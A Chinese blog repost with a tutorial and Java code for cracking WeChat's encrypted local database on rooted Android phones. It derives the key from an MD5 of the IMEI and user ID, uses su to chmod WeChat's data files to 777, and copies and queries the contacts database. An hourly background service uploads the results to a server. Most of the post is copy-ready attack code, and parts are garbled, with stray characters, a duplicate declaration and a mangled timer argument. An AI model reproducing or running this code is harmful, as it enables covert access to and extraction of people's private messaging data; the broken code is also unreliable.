破解微信数据库 并查询数据上传服务器

来源:互联网 发布:windows toolkit 2.5.3 编辑:程序博客网 时间:2024/05/18 00:59

本文转自:http://blog.csdn.net/qq_35834055/article/details/67636801


由于工作需求破解了微信的数据库 并获取想要的信息上传服务器 都是内部手机   网上大神反编译了微信 发现微信的数据库是通过

手机的IMEI(唯一识别码) + UIN  大写的IMEI + UIN 进行MD5加密 取32位小写 的前7位就是破解数据库的密码 

这是核心原理 根据这个 可以手动获取IMEI 加上UIN 通过 http://tool.chinaz.com/Tools/MD5.aspx线上加密  

手动破解不用写代码这种  

IMEI 应该不用我说 设置里自己去看  下载三方软件也可以看  

 至于 UIN 是在  data data com.tencent.mm  shared_prefs 文件里的  

aunt_info_key_prefs.xml  在这个文件里的 value 值就是了 我们要找到Uin

还有一个问题 网上提及的很少  微信的数据库加密是通过getDeviceID 这个函数会随机获取 IMEI 1  IMEI2 和MEID 进行加密 我已经确认了

肯定不会获取 IMEI2  只会通过默认卡1 IMEI1 和MEID进行 加密  如果破解失败可以用MEID 尝试进行破解  我在下面的连接数据库那做了这个机制 

失败就走 MEID试一遍  MEID无法直接获取 我们都是手动获取的把MEID放在文件里 进行读取


接下来就是写代码了  微信数据库也是比较火 网上资料不少的  我也是参考了好多 

[java] view plain copy
  1. public static final String WX_ROOT_PATH = "/data/data/com.tencent.mm/";  
  2.   
  3. // U ID 文件路径  
  4. private static final String WX_SP_UIN_PATH = WX_ROOT_PATH + "shared_prefs/auth_info_key_prefs.xml";  
  5.   
  6.   
  7.   
  8. private String mDbPassword;  
  9.   
  10. // 提交参数  
  11.   
  12. private int  count=0;  
  13.   
  14. private String IMEI;  
  15.   
  16. private String Uin;  
  17.   
  18. private static final String WX_DB_DIR_PATH = WX_ROOT_PATH + "MicroMsg";  
  19.   
  20. private List<File> mWxDbPathList = new ArrayList<>();  
  21.   
  22. private static final String WX_DB_FILE_NAME = "EnMicroMsg.db";  
  23.   
  24. private String mCurrApkPath = "/data/data/" + MyApplication.getContextObject().getPackageName() + "/";  
  25.   
  26. private static final String COPY_WX_DATA_DB = "wx_data.db";  
  27.   
  28. // 我是放在了服务里     做了延迟每隔一个小时破解一次 可以去掉  
  29.   
  30. d   
  31.   
  32. public void onCreate() {  
  33.     super.onCreate();  
  34.     // 获取root权限  
  35.     execRootCmd("chmod -R 777 " + WX_ROOT_PATH);  
  36.     execRootCmd("chmod  777 /data/data/com.tencent.mm/shared_prefs/auth_info_key_prefs.xml");  
  37.   
  38.   Toast.makeText(this,"开启服务",Toast.LENGTH_LONG).show();  
  39.   
  40.     Timer timer = new Timer();  
  41.      timer.schedule(new TimerTask() {  
  42.   
  43.          @Override  
  44.          public void run() {  
  45.   
  46.              // 获取微信的U id  
  47.              initCurrWxUin();  
  48.   
  49.   
  50.              //sqlt= (EditText) findViewById(sqlt);  
  51.              // 获取 IMEI 唯一识别码  
  52.              TelephonyManager phone = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);  
  53.              IMEI = phone.getDeviceId();  
  54.   
  55.              System.out.println("IMEI"+IMEI);  
  56.   
  57.              // 根据imei和uin生成的md5码,获取数据库的密码(去前七位的小写字母)  
  58.              initDbPassword(IMEI, Uin);  
  59.   
  60.              System.out.println(mDbPassword + "数据库的密码");  
  61.   
  62.              System.out.println("开始统计好友数量");  
  63.   
  64.   
  65.              //  递归查询微信本地数据库文件  
  66.              File wxDataDir = new File(WX_DB_DIR_PATH);  
  67.              mWxDbPathList.clear();  
  68.             searchFile(wxDataDir, WX_DB_FILE_NAME);  
  69.   
  70.              System.out.println("查询数据库文件");  
  71.   
  72.              System.out.println(mWxDbPathList+"读取到的数据库");  
  73.            try {  
  74.                       在  
  75.   
  76.                      //处理多账号登陆情况      
  77.                         // 这里要注意 微信登陆多个账号会产生 多个数据库文件   
  78.                      // 所有我们需要把每个数据库文件都尝试破解一下 总有一个密码正确连接成功  
  79.                    // 有需要可以把注释解开     
  80.   
  81.                   //  现在的写法是取集合遍历出来的数据库最后一个 我发现遍历的函数很大几率从老文件开是遍历  
  82.                    // 最后遍历的db 数据库很可能是新的 也就是当前账号的 但并不稳定 因为这个函数并没有解释  
  83.                    //   是从老的开始遍历  两个数据库的情况下 最后一个数据库确实是新的  
  84.   
  85.                
  86.   
  87.      // for (int i = 0; i < mWxDbPathList.size(); i++) {  
  88.                   File file = mWxDbPathList.get(mWxDbPathList.size()-1);   
  89.   
  90.                 File file = mWxDbPathList.get(i); // 正常写法  
  91.   
  92.       
  93.   
  94.                   String copyFilePath = mCurrApkPath + COPY_WX_DATA_DB;                
  95.         //将微信数据库拷贝出来,因为直接连接微信的db,会导致微信崩溃  当前数据库只能连接一个              
  96.         copyFile(file.getAbsolutePath(), copyFilePath);                 
  97.            File copyWxDataDb = new File(copyFilePath);                
  98.          openWxDb(copyWxDataDb);        
  99.   //  }  
  100.   
  101.   
  102.    
  103.   
  104.   
  105.       }catch (Exception e){  
  106.         // Toast.makeText(getApplicationContext(),"解析失败",Toast.LENGTH_LONG).show();  
  107.       }  
  108.   
  109.   
  110.   
  111.         // 上传统计数据  
  112.         login();  
  113.   
  114.     }  
  115. }, 10003600000);//0是延时;100是间隔  
  116.   
  117. 相关  
  118.  相关工具类  直接复制就行   环境复制就  
  119.   
  120. ------------------------------------------------------------------------------------------  
  121.   
  122. /** 
  123.  * 执行linux指令 
  124.  * 
  125.  * @param paramString 
  126.  */  
  127. public void execRootCmd(String paramString) {  
  128.     try {  
  129.         Process localProcess = Runtime.getRuntime().exec("su");  
  130.         Object localObject = localProcess.getOutputStream();  
  131.         DataOutputStream localDataOutputStream = new DataOutputStream((OutputStream) localObject);  
  132.         String str = String.valueOf(paramString);  
  133.         localObject = str + "\n";  
  134.         localDataOutputStream.writeBytes((String) localObject);  
  135.         localDataOutputStream.flush();  
  136.         localDataOutputStream.writeBytes("exit\n");  
  137.         localDataOutputStream.flush();  
  138.         localProcess.waitFor();  
  139.         localObject = localProcess.exitValue();  
  140.     } catch (Exception localException) {  
  141.         localException.printStackTrace();  
  142.     }  
  143. }  
  144.   
  145.   
  146.   
  147. /** 
  148.  * 获取微信的uid 
  149.  * 微信的uid存储在SharedPreferences里面 
  150.  * 存储位置\data\data\com.tencent.mm\shared_prefs\auth_info_key_prefs.xml 
  151.  */  
  152. private void initCurrWxUin() {  
  153.     Uin = null;  
  154.     File file = new File(WX_SP_UIN_PATH);  
  155.     try {  
  156.         FileInputStream in = new FileInputStream(file);  
  157.         SAXReader saxReader = new SAXReader();  
  158.         Document document = saxReader.read(in);  
  159.         Element root = document.getRootElement();  
  160.         List<Element> elements = root.elements();  
  161.         for (Element element : elements) {  
  162.             if ("_auth_uin".equals(element.attributeValue("name"))) {  
  163.                 Uin = element.attributeValue("value");  
  164.             }  
  165.         }  
  166.     } catch (Exception e) {  
  167.         e.printStackTrace();  
  168.         LogUtil.e("获取微信uid失败,请检查auth_info_key_prefs文件权限");  
  169.     }  
  170. }  
  171. /** 
  172.  * 根据imei和uin生成的md5码,获取数据库的密码(去前七位的小写字母) 
  173.  * 
  174.  * @param imei 
  175.  * @param uin 
  176.  * @return 
  177.  */  
  178. private void initDbPassword(String imei, String uin) {  
  179.     if (TextUtils.isEmpty(imei) || TextUtils.isEmpty(uin)) {  
  180.         LogUtil.e("初始化数据库密码失败:imei或uid为空");  
  181.         return;  
  182.     }  
  183.     String md5 = getMD5(imei + uin);  
  184.     System.out.println(imei+uin+"初始数值");  
  185.     System.out.println(md5+"MD5");  
  186.     String password = md5.substring(07).toLowerCase();  
  187.     System.out.println("加密后"+password);  
  188.     mDbPassword = password;  
  189. }  
  190.   
  191. public String getMD5(String info)  
  192. {  
  193.     try  
  194.     {  
  195.         MessageDigest md5 = MessageDigest.getInstance("MD5");  
  196.         md5.update(info.getBytes("UTF-8"));  
  197.         byte[] encryption = md5.digest();  
  198.   
  199.         StringBuffer strBuf = new StringBuffer();  
  200.         for (int i = 0; i < encryption.length; i++)  
  201.         {  
  202.             if (Integer.toHexString(0xff & encryption[i]).length() == 1)  
  203.             {  
  204.                 strBuf.append("0").append(Integer.toHexString(0xff & encryption[i]));  
  205.             }  
  206.             else  
  207.             {  
  208.                 strBuf.append(Integer.toHexString(0xff & encryption[i]));  
  209.             }  
  210.         }  
  211.   
  212.         return strBuf.toString();  
  213.     }  
  214.     catch (NoSuchAlgorithmException e)  
  215.     {  
  216.         return "";  
  217.     }  
  218.     catch (UnsupportedEncodingException e)  
  219.     {  
  220.         return "";  
  221.     }  
  222. }  
  223.   
  224. /** 
  225.  * md5加密 
  226.  * 
  227.  * @param content 
  228.  * @return 
  229.  */  
  230. private String md5(String content) {  
  231.     MessageDigest md5 = null;  
  232.     try {  
  233.         md5 = MessageDigest.getInstance("MD5");  
  234.         md5.update(content.getBytes("UTF-8"));  
  235.         byte[] encryption = md5.digest();//加密  
  236.         StringBuffer sb = new StringBuffer();  
  237.         for (int i = 0; i < encryption.length; i++) {  
  238.             if (Integer.toHexString(0xff & encryption[i]).length() == 1) {  
  239.                 sb.append("0").append(Integer.toHexString(0xff & encryption[i]));  
  240.             } else {  
  241.                 sb.append(Integer.toHexString(0xff & encryption[i]));  
  242.             }  
  243.         }  
  244.         return sb.toString();  
  245.     } catch (Exception e) {  
  246.         e.printStackTrace();  
  247.         return null;  
  248.     }  
  249. }  
  250.   
  251. /** 
  252.  * 递归查询微信本地数据库文件 
  253.  * 
  254.  * @param file     目录 
  255.  * @param fileName 需要查找的文件名称 
  256.  */  
  257. private void searchFile(File file, String fileName) {  
  258.     // 判断是否是文件夹  
  259.     if (file.isDirectory()) {  
  260.         // 遍历文件夹里所有数据  
  261.         File[] files = file.listFiles();  
  262.         if (files != null) {  
  263.             for (File childFile : files) {  
  264.                 searchFile(childFile, fileName);  
  265.             }  
  266.         }  
  267.     } else {  
  268.         if (fileName.equals(file.getName())) {  
  269.             mWxDbPathList.add(file);  
  270.         }  
  271.     }  
  272. }  
  273.   
  274.   
  275.   
  276.   
  277. /** 
  278.  * 复制单个文件 
  279.  * 
  280.  * @param oldPath String 原文件路径 如:c:/fqf.txt 
  281.  * @param newPath String 复制后路径 如:f:/fqf.txt 
  282.  * @return boolean 
  283.  */  
  284. public void copyFile(String oldPath, String newPath) {  
  285.     try {  
  286.         int byteRead = 0;  
  287.         File oldFile = new File(oldPath);  
  288.         if (oldFile.exists()) { //文件存在时  
  289.             InputStream inStream = new FileInputStream(oldPath); //读入原文件  
  290.             FileOutputStream fs = new FileOutputStream(newPath);  
  291.             byte[] buffer = new byte[1444];  
  292.             while ((byteRead = inStream.read(buffer)) != -1) {  
  293.                 fs.write(buffer, 0, byteRead);  
  294.             }  
  295.             inStream.close();  
  296.         }  
  297.     } catch (Exception e) {  
  298.         System.out.println("复制单个文件操作出错");  
  299.         e.printStackTrace();  
  300.   
  301.     }  
  302. }  
  303.   
  304. ------------------------------------------------------------------------------------------------------------  
  305.   
  306.   // 重点到了 我们之前的操作 遍历文件获取的db 数据库  以及密码 现在就可以用 数据库和密码进行连接   
  307.    密码正确  成功进入数据库 获取表信息   我下面获取的是好友的总人数  误差在 + -2 直接大部分这个  
  308.   这个需要自己观察表 进行查询  
  309.   
  310.   
  311.   
  312.  /** 
  313.      * 连接数据库 
  314.      * 
  315.      * @param dbFile 
  316.      */  
  317.     private void openWxDb(File dbFile) {  
  318.         Context context = MyApplication.getContextObject();  
  319.         SQLiteDatabase.loadLibs(context);  
  320.         SQLiteDatabaseHook hook = new SQLiteDatabaseHook() {  
  321.             public void preKey(SQLiteDatabase database) {  
  322.             }  
  323.   
  324.             public void postKey(SQLiteDatabase database) {  
  325.                 database.rawExecSQL("PRAGMA cipher_migrate;"); //兼容2.0的数据库  
  326.             }  
  327.         };  
  328.   
  329.         try {  
  330.             //打开数据库连接  
  331.             SQLiteDatabase db = SQLiteDatabase.openOrCreateDatabase(dbFile, mDbPassword, null, hook);  
  332.   
  333.             //查询所有好友总数(verifyFlag!=0:公众号等类型,群里面非好友的类型为4,未知类型2)  
  334.             // Cursor c1 = db.rawQuery("select * from rcontact where verifyFlag = 0  and type != 4 and type != 2 and type !=33 limit 20, 9999", null);  
  335.             Cursor c1 = db.rawQuery("select * from rcontact where username not like 'gh_%' and verifyFlag<>24 and verifyFlag<>29 and verifyFlag<>56 and type<>33 and type<>70 and verifyFlag=0 and type<>4 and type<>0 and showHead<>43 and type<>65536",null);  
  336.   
  337.             while (c1.moveToNext()) {  
  338.                 String type = c1.getString(c1.getColumnIndex("type"));  
  339.                 System.out.println(type+"参数");  
  340.                 count++;  
  341.   
  342.   
  343.   
  344.             }  
  345.            // sqlt.setText("好友总数"+count);  
  346.             System.out.println("总共参数"+count);  
  347.           //  Toast.makeText(getApplicationContext(),"好友总数"+count,Toast.LENGTH_SHORT).show();  
  348.             c1.close();  
  349.             db.close();  
  350.         } catch (Exception e) {  
  351.             LogUtil.e("读取数据库信息失败");  
  352. //            e.printStackTrace();  
  353.             //打开数据库连接  
  354.             // 根据imei和uin生成的md5码,获取数据库的密码(去前七位的小写字母)  
  355.             ///  initDbPassword("A100004AF6C883",  Uin);  
  356.             String MEID=readFileSdcard("/mnt/sdcard/meid.txt");  
  357.            String dMEID=MEID.replace("\r\n","");  
  358.             initDbPassword(dMEID.toUpperCase(),Uin);  
  359.             System.out.println(mDbPassword+"MEID---密码");  
  360.             count=0;  
  361.             SQLiteDatabase db = SQLiteDatabase.openOrCreateDatabase(dbFile, mDbPassword, null, hook);  
  362.   
  363.             //查询所有联系人(verifyFlag!=0:公众号等类型,群里面非好友的类型为4,未知类型2)  
  364.                   // 获取好友总数  
  365.             // Cursor c1 = db.rawQuery("select * from rcontact where verifyFlag = 0  and type != 4 and type != 2 and type !=33 limit 20, 9999", null);  
  366.             Cursor c1 = db.rawQuery("select * from rcontact where username not like 'gh_%' and verifyFlag<>24 and verifyFlag<>29 and verifyFlag<>56 and type<>33 and type<>70 and verifyFlag=0 and type<>4 and type<>0 and showHead<>43 and type<>65536",null);  
  367.   
  368.             while (c1.moveToNext()) {  
  369.                 String type = c1.getString(c1.getColumnIndex("type"));  
  370.                 System.out.println(type+"参数");  
  371.                 count++;  
  372.   
  373.                 //Toast.makeText(getApplicationContext(),type,Toast.LENGTH_SHORT).show();  
  374.   
  375.             }  
  376.            // sqlt.setText("好友总数"+count);  
  377.            // Toast.makeText(getApplicationContext(),"好友总数"+count,Toast.LENGTH_SHORT).show();  
  378.             System.out.println("总共参数"+count);  
  379.             c1.close();  
  380.             db.close();  
  381.   
  382.   
  383.   
  384.   
  385.   
  386.         }  
  387.     }  
  388.   
  389.   
  390.   
  391.     //*//*读在/mnt/sdcard/目录下面的文件  
  392.     public String readFileSdcard(String fileName){  
  393.   
  394.         String res="";  
  395.   
  396.         try{  
  397.   
  398.             FileInputStream fin = new FileInputStream(fileName);  
  399.   
  400.             int length = fin.available();  
  401.   
  402.             byte [] buffer = new byte[length];  
  403.   
  404.             fin.read(buffer);  
  405.   
  406.             res = EncodingUtils.getString(buffer, "UTF-8");  
  407.   
  408.             fin.close();  
  409.   
  410.         }  
  411.   
  412.         catch(Exception e){  
  413.   
  414.             e.printStackTrace();  
  415.   
  416.         }  
  417.   
  418.         return res;  
  419.   
  420.     }  

相关博客 我也是参考他完成的需求 http://m.blog.csdn.net/article/details?id=54024442 写的更详细 破解成功LOG 会打印相关 信息可以进行查询   也可以下载个 sqlcipher 数据库可视化工具 进行查看  
源码